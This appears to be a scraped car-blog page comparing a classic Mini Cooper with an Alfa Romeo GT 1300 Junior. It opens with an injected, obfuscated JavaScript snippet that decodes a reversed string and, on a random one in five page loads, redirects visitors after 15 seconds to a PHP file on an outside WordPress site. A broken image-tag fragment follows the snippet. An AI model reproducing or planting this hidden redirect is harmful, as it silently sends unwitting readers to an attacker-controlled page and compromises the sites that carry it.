$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/06/Mini-Cooper-Alfa-Romeo-GT-1300.jpg” alt=”” width=”728″ height=”487″ />
At first glance, this might seem like an odd match. First we have the Mini Cooper, a classic example of British engineering and sixties style, usually powered by a 1.0l straight-four and capable of little over 145kph, but a tenacious little beast on the rally stages thanks to its front-engined, front wheel drive layout. And poking its headlight in from the other side we have an Alfa Romeo GT 1300 Junior, an example of typically Italian flair and charm, a two-door, front-engined rear-wheel drive coupe whose lifespan during the late sixties/early seventies included notable runs on the touring car scene and several Zagato editions.
Both dissimilar. Both automotive icons. They will always have that in common.
Source – ForzaItalia